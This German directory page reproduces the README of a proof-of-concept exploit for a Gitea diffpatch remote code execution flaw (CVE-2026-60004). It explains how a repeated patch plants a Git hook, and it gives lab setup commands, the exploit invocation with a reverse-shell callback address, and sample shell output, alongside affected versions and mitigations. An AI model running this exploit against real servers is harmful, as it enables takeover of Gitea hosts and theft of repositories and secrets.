Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-60004 — Automatisierter Proof-of-Concept-Exploit für CVE-2026-60004, eine Gitea-Diffpatch-Git-Hook-RCE, die einen Post-Index-Change-Hook platziert, um eine Reverse Shell als Dienstkonto zu erhalten. | Kitploit
Tools/GitHubGitHub/yym8538/cve-2026-60004
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPost-ExploitationWebsicherheitPenetrationstestsRed TeamingRemote-Access-ToolPayload-Entwicklung
GitHubyym8538/cve-2026-60004

CVE-2026-60004

Automatisierter Proof-of-Concept-Exploit für CVE-2026-60004, eine Gitea-Diffpatch-Git-Hook-RCE, die einen Post-Index-Change-Hook platziert, um eine Reverse Shell als Dienstkonto zu erhalten.

1vor 1 MonatNoch nicht geprüft
Repository anzeigen

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-60004 Gitea diffpatch RCE

★ CVE-2026-60004 Gitea diffpatch Git Hook RCE PoC ★

https://github.com/user-attachments/assets/403a70f4-4ff4-4ab7-b11c-d73d70adaf0b


Überblick

CVE-2026-60004 ist eine Remote Code Execution (RCE)-Schwachstelle in Gitea. Die diffpatch-API wendet einen übergebenen Patch mit git apply --cached an, was eigentlich nur den Index betreffen und niemals Dateien auf die Festplatte schreiben sollte. Indem derselbe Patch zweimal gesendet wird, erzwingt ein Angreifer eine Add/Add-Kollision, die Git's Three-Way-Merge-Fallback (-3) auslöst. Dieser Pfad ignoriert --cached und checkt die Datei in den Arbeitsbaum aus. Da der temporäre Klon bare ist, ist sein Arbeitsbaum-Wurzelverzeichnis $GIT_DIR. Ein Patch, der einen ausführbaren erstellt, platziert somit einen aktiven Git-Hook, den Git automatisch beim nächsten Index-Update ausführt — und Befehle als das Gitea-Dienstkonto ausführt. Der Endpunkt erfordert Schreibzugriff auf das Repository, aber die Registrierung ist standardmäßig aktiviert, sodass jeder Benutzer, der sich anmelden und ein Repository erstellen kann, ihn erreichen kann.

hooks/post-index-change

Betroffene Versionen

KategorieVersion
AnfälligGitea 1.17 ≤ Version ≤ 1.27.0
GepatchtGitea 1.27.1 oder später

Auswirkung

  • Remote Code Execution als das Gitea-Dienstkonto (git)
  • Zugriff auf alle gehosteten Repositories, CI-Secrets und Datenbank-Anmeldedaten

Umgebung

Erstellen und starten Sie die anfällige Gitea-Umgebung. Die Registrierung bleibt offen und der Server liefert Git 2.32+, was den -3-Fallback aktiviert, auf den der Angriff angewiesen ist.

root@kitploit:~
docker build -t cve-2026-60004 .
docker run -d --name cve-2026-60004 -p 3000:3000 cve-2026-60004
VoraussetzungZustand in diesem Lab
Gitea 1.17 – 1.27.01.27.0
Git 2.32+ auf dem Server (aktiviert -3)2.54
Offene Registrierungaktiviert (Standard)
Repository-Schreibzugriffüber selbst registriertes Konto

PoC

Der Exploit wird vollständig von gitea_exploit.py automatisiert. Mit einem Konto, das ein Repository erstellen kann, erstellt es das Ziel-Repository, sendet denselben Patch wiederholt, bis Git's -3-Fallback ausgelöst wird, und fängt die Reverse Shell mit einem integrierten Listener ab — kein manuelles Setup, Patch-Erstellung oder Blob-Hash-Berechnung nötig.

root@kitploit:~
# python3 gitea_exploit.py <target ip:port> <callback ip> [callback port]
python3 gitea_exploit.py 172.17.0.2:3000 172.17.0.3 4444 \
  --user test --pw 11111111 --repo rce

Der -3-Fallback wird nur in bestimmten Zeitfenstern ausgelöst, daher wiederholt das Skript create → send → send, bis es erfolgreich ist (Standard: 25 Versuche). Wenn ein Senden blockiert, wurde der Hook ausgelöst und der Listener bringt Sie in eine Shell als git:

root@kitploit:~
[*] attempt  3/25 -> send#1 201, send#2 timeout   <- BLOCKED (fired!)
[+] shell from 172.17.0.2:53344 -- type commands, Ctrl-C to quit
uid=1000(git) gid=1000(git) groups=1000(git)

Optionen:

  • --no-listen — fangen Sie die Shell mit Ihrem eigenen externen nc anstelle des integrierten Listeners ab
  • --user / --pw / --repo / --branch — überschreiben Sie das Standardkonto und das Ziel-Repository

Gegenmaßnahmen

  • Aktualisieren Sie Gitea auf 1.27.1 oder später
  • Deaktivieren Sie die offene Registrierung, falls nicht erforderlich (DISABLE_REGISTRATION=true)
  • Beschränken Sie, wer die Instanz erreichen und Repositories erstellen kann

Analyse

  • KR: Demnächst verfügbar!
  • EN:
Tool herunterladen